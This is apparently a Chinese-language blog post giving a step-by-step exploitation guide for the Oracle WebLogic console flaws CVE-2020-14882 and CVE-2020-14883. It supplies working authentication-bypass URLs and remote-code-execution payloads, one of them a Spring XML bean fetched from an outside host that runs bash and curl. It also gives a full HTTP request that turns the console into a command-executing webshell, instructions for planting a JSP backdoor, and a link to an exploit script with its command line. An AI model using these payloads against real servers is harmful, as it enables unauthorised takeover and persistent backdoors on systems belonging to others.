0x01 漏洞简述
2020年10月29日,360CERT监测发现 Weblogic ConSole HTTP 协议代码执行漏洞,该漏洞编号为 CVE-2020-14882,CVE-2020-14883 ,漏洞等级:严重,漏洞评分:9.8。

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。

0x02 影响版本
Oracle:Weblogic:

10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0

0x03 漏洞详情
CVE-2020-14883: 权限绕过漏洞
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console。
权限绕过漏洞(CVE-2020-14882),访问以下URL,未授权访问到管理后台页面(低权限的用户):

/console/images/%252E%252E%252Fconsole.portal
/console/css/%252e%252e%252fconsole.portal(小写可绕过补丁)
/console/css/%25%32%65%25%32%65%25%32%66console.portal

71074-2ohuo65agbr.png

此时的权限很低,并不能在后台安装应用,所以需要结合CVE-2020-14883漏洞

CVE-2020-14882: 代码执行漏洞
结合 CVE-2020-14883 漏洞,远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

两种利用手法
利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令
利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext执行命令

1.利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令
DNSLOG

http://IP:7001//console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20xx.dnslog.cn');")

88186-nnibb0sk4i.png

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10版本并不存在com.tangosol.coherence.mvel2.sh.ShellSession类

二、利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext执行命令
一种更为通杀的方法,对于所有Weblogic版本均有效。
但是必须可以出网,要可以访问到恶意的xml
首先需要构造一个XML文件,并将其保存外网(漏洞机或者可访问的一台机子上)上

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl 3q1m4z.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

40177-4qs5y0m3qb7.png

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

成功执行:

09461-52pws7ry2e8.png

79805-lermyn07fj.png

getshell
访问http://ip:7001/console/login/LoginForm.jsp 进行抓包
poc如下

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: ip:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: ls
Cookie: ADMINCONSOLESESSION=e78gEFIAtcK-tXiHNYOCq2SLsY8MNh9RjmsFh_lyh4mwrIyYa8IA!784808500
Upgrade-Insecure-Requests: 1

90144-h5ov6n0t49s.png

利用命令执行漏洞寻找到可访问路径并留下后门
当前页路径如下

/u01/oracle/user_projects/domains/base_domain

81887-7a2ysm78zi5.png

利用命令执行找到可访问路径,并进行访问验证

/u01/oracle/wlserver/server/lib/consoleapp/webapp/images

03756-8uaj8s2hc1n.png

52014-7yxhypyy4w9.png

在该路径下写入jsp后门

87880-yispg3mlhd.png

写入后成功后,进行访问并利用工具连接后门

60336-z2v68per8k.png

命令执行脚本工具利用
下载地址:https://github.com/backlion/CVE-2020-14882_ALL
命令:python3 CVE-2020-14882_ALL.py -u URL -c "要执行的命令"

01709-oxbg1e1fe.png


本文由 wulaoban 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论